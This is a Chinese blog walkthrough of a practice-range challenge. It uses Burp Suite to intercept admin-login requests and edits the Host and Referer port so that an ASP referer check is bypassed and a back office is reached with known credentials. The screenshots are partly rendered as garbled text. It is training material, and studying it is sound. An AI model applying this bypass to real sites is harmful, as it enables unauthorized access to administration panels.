网络安全1-3



<u>小开心007</u> ↓ <u>F</u> 2020-04-05 10:40:25 发布 ↓ <u>B</u> 163 ↓ 收藏 分类专栏: <u>Web安全</u> 文章标签: <u>web</u> 版权声明: 本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u> 版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/wanglinyp/article/details/105323277</u>



Web安全 专栏收录该内容

3 篇文章 0 订阅 订阅专栏 声明:练习仅可在靶场,不可用于非法操作。

封神台靶场练习之↓

第三章 这个后台能识别登录者...【抓包和CSRF伪造】

先看一下题目要求:

第二关拿到密码后,虽然在admin路径中成功登录后台,但那竟然是一个假后台! 不过没关系,尤里也遇到过不少假后台,他拿出了后台扫描工具…… 扫描到了另一个后台登陆地址(admin123) 然而登陆上去后……尤里竟然发现这个管理系统能识别登录者的身份……

按照要求进入题目靶场:

59.63.	200).79 :80	004									••••	⊌	슙
g 🔨 K	ali	Tools	🧧 K	Cali D	ocs	×, Ka	ali Fo	orums	×	Netl	Hunte	N	Off	ens
<mark>睢塑</mark> 度 IAOSHU	説 TUC	治漆 DTAIQIO	器; N L	有 ß	民公 ED C	、 つ MPANY		Ē	50)				
网站首员	页	关于	F我们	ונ	产品	品中心	1	新闻	中心	Т	客户等	髹例	Т	在約
		新闻式	商 1	lews		No.	18	21	1			N.		
		美国机械	或业目	头米	拉克龙	达裁员1.	.)				[2009	-8-24	4]	
	•	2009将	加快	机械日	L业发	展的					[2009	-8-24	4]	
	•	上海凡才	太克工	程机	械有限	設公司增					[2009	-8-24	4]	
	•	我国宜伯	尤先发	展的	几种包]装机械					[2009	-8-24	4]	
		如何科学	学选购	定制	的包装	专机械					[2009	-8-24	4]	
	•	我国真望	空包装	机械	行业市	动潜力					[2009	-8-24	4]	
		作品展	示	Prod	luct									

随便点开一条新闻动态:



根据题目要求,管理员登录端口为admin123,因此,修改url如下:

http://59.63.200.79:8004/admin123

回车,出现了管理员的登录界面

i 🎽	59.63.200.79	8004/admir	n123/Login.a	asp		⊌	습	
ning	🔪 Kali Tools	🧧 Kali Docs	🔨 Kali Fo	orums	NetHunter	r 🐧 Of	fens	ive
		:	企业网站管理	里系统				
				44 118	日政王			
	(4			官理	贝豆求			
	1		用户名称:					
			用户密码:					
	L		验证码:		请在左边输	<mark>λ28</mark> 62	2	
				确认	清除			
				https://	blog.csdn.ne	et/wang	,tiny	p

在上一篇文章中,我们获取了管理员账号密码(admin: welcome),在这里输入进行尝试



靶场检测出了异常登陆,为降低难度,靶场给出了登录功能片段,分析给出的功能段,可以知道要想成功访问,访问者的两个url必须一致。因此,下一步需要做的就是修改访问信息,这就需要借助burpsuite截取报文段(建议安装Kali,里边集成很多常用工具)

重新回到登录页面(访问前清除一下缓存),访问:

http://59.63.200.79:8004/admin123

在浏览器中配置代理服务器, ip设置为: 127.0.0.1, 端口号设置为: 8080, 以火狐浏览器为例:

) •	⊘	습		li	١	1	٢	۲	
C	登录	司步朋	贤务						
Ø	内容打	兰截							标准
Ģ	新建的	窗口						Ct	rl+N
~	新建	急私爸	30				Ctr	l+Shi	ift+P
Ģ	恢复统	先前的	的浏览	状态					
	缩放			_	1	20%		+	Ľ۶
	缩放 编辑			-	1	20% %		+ &	∠ 7 Ê
lii\	缩放 编辑 我的题	己迹		-	1	20% %		+ &	∠ ^
≎ ہ	缩放 编辑 我的 我的	足迹 胀号利	口密码	_	1	20% %		+ &	∠ ^ ⓐ
	缩 编辑 编辑 我的 的 例 加 约	足迹 胀号和 沮件_	口密码	-		20% X	Ctrl	+ Co	∠ 7 ⓐ > ft+A

配	【访问互联网 (的代理服务器					
\bigcirc	不使用代理服务	器 (Y)					
\bigcirc	自动检测此网络	的代理设置 (<u>W</u>)					
\bigcirc	使用系统代理设置 (U)						
0	手动代理配置 (<u>M</u>)					
	HTTP 代理 (<u>X</u>)	127.0.0.1	端口 (<u>P</u>)	8080			
		/ 为所有协议使用相同代理服务器 (<u>S)</u>					

打开burpsuite->proxy->Options->Add

	Add a new proxy listener							
Binding	Request handling	Certificate						
? The	se settings control h	iow Burp binds	s the proxy listener.					
Bin	Bind to port: 8080							
Bin	d to address: 💿 Loo	opback only						
		interfaces						
	🔘 Sp	ecific address	ttps://blog.csdn.net/wanglinyp					

保存后,回到登录页面,输入账号密码,确定,这时候看一下burpsuite->proxy->intercept,网站信息已经被捕获

	ntercept	HTTP history	WebSockets history	Options						
V	Request to http://59.63.200.79:8004									
	Forward Dr		rop Intercept	t is on Action						
F	Raw Para	ams Headers	Hex							
1	POST /admin123/Admin_ChkLogin.asp HTTP/1.1									
2	Host:59	.63.200.79:8	3004							
З	User-Age	ent:Mozilla/	5.0(X11; Linux x86	6_64; rv:68.0) Gecko/20100101 Firefox/68.0						
4	Accept:	text/html,ap	plication/xhtml+x	<pre>kml,application/xml;q=0.9,*/*;q=0.8</pre>						
5	Accept-L	_anguage: en-	US,en;q=0.5							
6	Accept-E	Encoding:gzi	p, deflate							
7	Referer	:http://59.6	3.200.79:8004/adm	min123/Login.asp						
8	Content	•Type:applic	ation/x-www-form-	urlencoded						
9	Content	Length: 80								
10	Connect	ion:close								
11	Cookie:	ASPSESSI ONI D	ASTAQTSC=NLGLKLMA	AHOJ AJ CLHHMFGPAPO						
12	Upgrade	Insecure-Re	quests:l							
13										
14	UserName	e=admin&Pass	word=welcome&Chec	kCode=9655&Submit=+%C8%B7%26%23160%3B%C8%CF+						

我们点击forward提交当前页面数据

l GET /admin123/default.asp HTTP/1.1

² Host: 59.63.200.79:8004

³ User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

⁴ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

⁵ Accept-Language: en-US, en; q=0.5

⁵ Accept-Encoding:gzip,deflate

⁷ Referer: http://59.63.200.79:8004/admin123/Login.asp

³ Connection: close

> Cookie: ASPSESSIONIDASTAQTSC=NLGLKLMAHOJAJCLHHMFGPAPO

⁾ Upgrade-Insecure-Requests: 1

可以看到页面默认跳转到default.asp,继续点击forward

6	Request to http://59.63.200.79:8004									
	Forward Drop		Intercept is on	Action	C					
	Raw	Params	Headers	Hex						
	1 GET /admin123/LeftTree.aspHTTP/1.1									
1	2 Host: 59.63.200.79:8004									
	3 Use	r-Agent:I	Mozilla/5	.0(X1	l;Linux x86_64; rv:68	3.0) Gecko/20100101 Firefox/68.0				
4	4 Acc	ept:text	/html,app	licati	on/xhtml+xml,applica	ation/xml;q=0.9,*/*;q=0.8				
5	5 Acc	ept-Langu	age: en-U	S,en;q	=0.5					
6	6 Acc	ept-Encod	ling:gzip	, defla	ate					
	7 Ref	erer:htt	p://59.63	.200.7	9:8004/admin123/defa	ault.asp				
8	B Con	nection:	close							
9	9 Cool	kie:ASPS	ESSIONIDA	STAQTS	C=NLGLKLMAHOJAJCLHH	MEGPAPO				
1(0 Upg	rade-Inse	ecure-Requ	uests:	1					
1	1	opgrade-insecure-Requests.i ntps://blog.csdn.nai/wanglinyp								

可以看到,页面开始请求访问LeftTree.asp回到浏览器:



出现网站页面且title 发生变化,这时,在burpsuite端继续点击forward:

	Dashboard	Target	Proxy	Intruder	Repea	ater	Sequencer	Decoder	Comparer	Extende
ſ	Intercept H	HTTP histo	ory We	bSockets h	nistory	Opt	ions			
6	Request to	o http://59	9.63.200	.79:8004						
	Forward		Drop	Int	tercept	is on	Actio	on		
ſ	taw Params Headers Hex									
1	GET /admir	n123/def	ault.a	sp?menu=t	ор НТТІ	P/1.	1			
2	Host: 59.0	53.200.7	9:8004							
З	User-Agen	t:Mozil	la/5.0	(X11;Lin	ux x86_	64;	rv:68.0)Ge	cko/20100:	101 Firefox,	/68.0
4	Accept: te	ext/html	.,appli	cation/xh	tml+xn	nl,ap	oplication/	xml;q=0.9	,*/*;q=0.8	
5	Accept-La	inguage:	en-US,	en;q=0.5						
6	Accept-En	coding:	gzip,d	eflate						
7	Referer:	nttp://5	9.63.20	00.79:800)4/admi	n123	3/default.a	sp		
8	Connectio	n:close	•							
9	Cookie: AS	SPSESSIO	NIDAST	AQTISC=BMC	GLKLMAL	FHEJ	DIBMMNAJKG	P		
10 Upgrade-Insecure-Requests: 1										

9 Cookie: ASPSESSIONIDASTAQTSC= 10 Upgrade-Insecure-Requests: 1

回到浏览器,出现了页面信息,页面下一步将要请求default.asp?menu=top

🦉 封神台 - 掌控安	全在线 ×	🦉 第三章:这	(个后台能 识 ×	福建雕塑,脱	,胎漆器,雕塑 ×			
\leftrightarrow × \bigstar		③ 59.63.200.7	③ 59.63.200.79:8004/admin123/default.asp					
🔨 Kali Linux 🛝 K	ali Trainin	ig 🔨 Kali Tools	🧧 Kali Docs	🥆 Kali Forums	🔨 NetHunter			
@ 管理后台	 (*) 							
系统管理 企业信息 在品等理	* *							
) 面 三 2 询价管理 下载中心	* *							
新闻言理 留言管理 案例管理	* *							
人才管理 友情链接 Web Information	* * *							
企业网站管理系统								

回到burpsuite继续点击forward,让浏览器去访问default.asp?menu=top, I浏览器页面如下:

◎ 封神台 - 掌控安全在线 ×	🭯 第三章:这	个后台能识 🗙	福建雕塑,脱	胎漆器,雕塑 ×	• 企业网站管理后台
$\leftarrow \rightarrow \times \hat{\omega}$	⑤ 59.63.200.7	9 :8004/admir	123/default.asp		•••
🔨 Kali Linux 🥆 Kali Training	🔨 Kali Tools	🧧 Kali Docs	🔨 Kali Forums	NetHunter	👖 Offensive Security 🔺
				企业网站	占管理系统
回到自风 返田 🛛 🖤					
系统管理 🏾 📎					
企业信息 🛛 📎					
产品管理 🛛 🕹					
询价管理 🏾 🎽					
下载中心 🏾 🎽					
新闻管理 🏼 📎					
留言管理 🏾 🎽					
案例管理 🍼					
burpsuite捕获到下一条要挑	是交的信息:				

Forward Drop Intercept is on Action	Comr
Raw Params Headers Hex	
1 GET /admin123/sysadmin_view.aspHTTP/1.1	
2 Host: 59.63.200.79:8004	
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20	0100101Firefox/68.0
<pre>4 Accept: text/html,application/xhtml+xml,application/xml;q</pre>	=0.9,*/*;q=0.8
5 Accept-Language: en-US, en; q=0.5	
6 Accept-Encoding:gzip,deflate	
7 Referer: http://59.63.200.79:8004/admin123/default.asp	
8 Connection: close	
9 Cookie: ASPSESSIONIDASTAQTSC=BMGLKLMALFHEJDIBMMNAJKGP	
10 Upgrade-Insecure-Requests: 1	
-	

可以看到浏览器请求sysadmin_view.asp,继续点击forward,让浏览器请求sysadmin_view.asp

← → C 🏠 (i) 59.63.200.79:8004/admin123/default.asp … 🗢	☆	∭\ ⊡	٢	*
🥆 Kali Linux 🥆 Kali Training 🥆 Kali Tools 🧧 Kali Docs 🥆 Kali Forums 🥆 NetHunter 👖 Offensive Security 🛸 Exploit-DB 🛸 🤇	GHDB 👖 MSFU			
企业网站管理系统				
对不起,为了系统安全,不允许从外部链接地址访问本系统的后台管理页面。				
访问者的Curl(host)为: http://59.63.200.79:81/admin123/sysadmin_view.asp 访问者的Comeurl(referer)为: http://59.63.200.79:8004/admin123/default.asp				
以下为本功能主要代码片断,提供给同学们分析: <% dim ComeUrl,cUrl,AdminName			are Ari Decementario (1913) Decementario (1913)	
ComeUrl=lcase(trim(request.ServerVariables("HTTP_REFERER")))				
response.write " <pre>response.write " >><pre>p align=center></pre> 对不起,为了系统安全,不允许直接输入地址访问本系统的后台管理页面。 zesponse.end else</pre>	ferer为空, 访问管理页面			
<pre>cUrl=trim("http://" & Request.ServerVariables("SERVER_NAME")) if mid(ComeUrl,len(cUrl)+1,1)=":" then</pre>	FCurl			
<pre>cUrl=lcase(cUrl & request.ServerVariables("SCRIPT_NAME")) if lcase(left(ComeUrl,instrrev(ComeUrl,"/")))◇lcase(left(cUrl,instrrev(cUrl,"/"))) then response.write " br>pign=center> 对不起,为了系统安全,不允许从外部链接地址访问本系统的后台管理页面。"</pre>	将Curl与Com ▶ 也就是将hos 对比	neurl进⁄i t和refei	テ对比 r er 进行	ら 行
end if				
end if	https://blog.c	sdn.net/\	wangli	nyp

页面继续回到出错页面,页面提示中说明,服务器会对请求信息进行拼接判断,要求我们的访问 Comurl(referer)与Curl(host)一致(端口)。因此,重新进行上面的操作,在最后一步访问请求时,在 burpsuite修改请求信息:

	Forward Drop Intercept is on Action
	Raw Params Headers Hex
1	GET /admin123/sysadmin_view.asp HTTP/1.1
2	Host: 59.63.200.79:8004 <mark>8004修改为</mark> 81
3	User-Agent: Mozilla/5.0(X11;Linux x86_64;rv:68.0)Gecko/20100101Firefox/68.0
4	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5	Accept-Language: en-US, en; q=0.5
6	Accept-Encoding: gzip, deflate
7	Referer:http://59.63.200.79:8004/admin123/default.asp
8	Connection: close 8004修改为81
9	Cookie: ASPSESSIONIDASTAQTSC=BMGLKLMALFHEJDIBMMNAJKGP
10	Upgrade-Insecure-Requests: 1 https://blog.csdn.net/wanglinyp
٦٦	

点击提交:



成功获取网址后台。